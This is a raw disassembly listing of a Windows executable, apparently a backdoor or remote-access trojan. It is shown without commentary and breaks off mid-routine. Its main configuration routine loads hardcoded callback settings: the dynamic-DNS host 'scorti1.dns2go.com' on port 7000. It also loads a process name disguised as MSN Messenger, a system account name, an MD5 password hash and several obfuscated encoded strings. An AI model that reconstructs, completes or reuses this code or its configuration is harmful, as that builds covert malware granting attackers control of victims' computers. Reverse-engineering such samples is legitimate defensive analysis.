		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4070B0	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015D7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014E2
sub_4070B0	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070F0	proc near		; CODE XREF: sub_401AF0j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jz	short loc_40716B
		mov	edi, [esp+10h+arg_0]


loc_407133:				; CODE XREF: sub_4070F0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40173F
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_407175
		call	sub_401F0A
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jnz	short loc_407133


loc_40716B:				; CODE XREF: sub_4070F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_407175:				; CODE XREF: sub_4070F0+5Aj
		call	sub_40173F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_4070F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071C0	proc near		; CODE XREF: sub_4021F8j
		xor	al, al
		retn	4
sub_4071C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4071E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_4071E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_401622j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407260	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407290	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021BC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_407290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072D0	proc near		; CODE XREF: sub_401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401B63
		mov	eax, esi
		pop	esi
		retn
sub_4072D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_40173Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401F0Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FA0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407370	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C8A
		mov	edi, eax
		push	edi
		call	sub_401C58
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_407370	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C58
		push	edi
		mov	[eax], ebx
		call	sub_401C58
		mov	edi, [eax]
		push	edi
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401672
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407410	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019C9
sub_407410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407425
		mov	edi, esi


loc_407425:				; CODE XREF: ___:00407421j
		push	esi
		call	sub_401A82
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40743A
		mov	edi, esi


loc_40743A:				; CODE XREF: ___:00407436j
		push	esi
		call	sub_401C58
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407460	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; CODE XREF: sub_401B63j
		mov	eax, ecx
		retn
sub_4074A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074C0	proc near		; CODE XREF: sub_402185j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_4074C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401FA0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_401C58j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407540	proc near		; CODE XREF: sub_4019C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_407540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401672j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_407570	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075A0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_401C8Aj
		mov	eax, [ecx]
		retn
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4075E0	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4075EA
		xor	eax, eax


loc_4075EA:				; CODE XREF: sub_4075E0+6j
		push	eax
		call	sub_4367FA
sub_4075E0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40762B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40762B:				; CODE XREF: sub_407610+11j
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407640	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407660	proc near		; CODE XREF: sub_401B2Cj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407660
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017E4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448D16
		call	sub_401B5E
sub_407660	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076F0	proc near		; CODE XREF: sub_401CC1j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076F0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017E4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448D16
		call	sub_401B5E
sub_4076F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407790	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_174]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1A4]
		mov	[esp+35Ch+var_4], 0
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2DC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2C4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_401424
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_401424
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_401424
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_401424
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_18C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_401424
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_1BC]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_401424
		mov	bl, 1Eh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_174]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_1A4]
		call	sub_401A87
		push	offset aSaad	; "saad"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A87
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A87
		push	offset aSaad	; "saad"
		lea	ecx, [esp+360h+var_1EC]
		call	sub_401A87
		push	offset aScop	; "#scop#"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A87
		push	offset aS_1	; "#s"
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A87
		push	offset aServec	; "servec"
		lea	ecx, [esp+360h+var_2C4]
		call	sub_401A87
		push	offset aMsnnmaneger_ex ; "msnnmaneger.exe"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A87
		push	offset aWintwir	; "wintwir"
		lea	ecx, [esp+360h+var_264]
		call	sub_401A87
		push	offset aTahy	; "TAHY-"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A87
		push	offset aAbosal7	; "abosal7"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A87
		push	offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A87
		push	offset aAdmin_com ; "admin.com"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A87
		push	offset aTsinternetuser ; "TsInternetUser"
		lea	ecx, [esp+360h+var_18C]
		call	sub_401A87
		push	offset aHotfix	; "hotfix"
		lea	ecx, [esp+360h+var_144]
		call	sub_401A87
		push	offset dword_4437F8
		lea	ecx, [esp+360h+var_CC]
		call	sub_401A87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_1BC]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	18h
		push	9
		push	6
		push	14h
		push	0Fh
		lea	ecx, [esp+39Ch+var_348]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 48h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_E4]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_24C]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		mov	byte ptr [esp+3D8h+var_4], 27h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 28h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 29h
		call	sub_401CC1
sub_407790	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		mov	byte ptr [esp+37Ch], 2Ah
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Bh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Ch
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Dh
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Eh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 2Fh
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		mov	byte ptr [esp+3CCh], 30h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 31h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 32h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		mov	byte ptr [esp+388h], 33h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
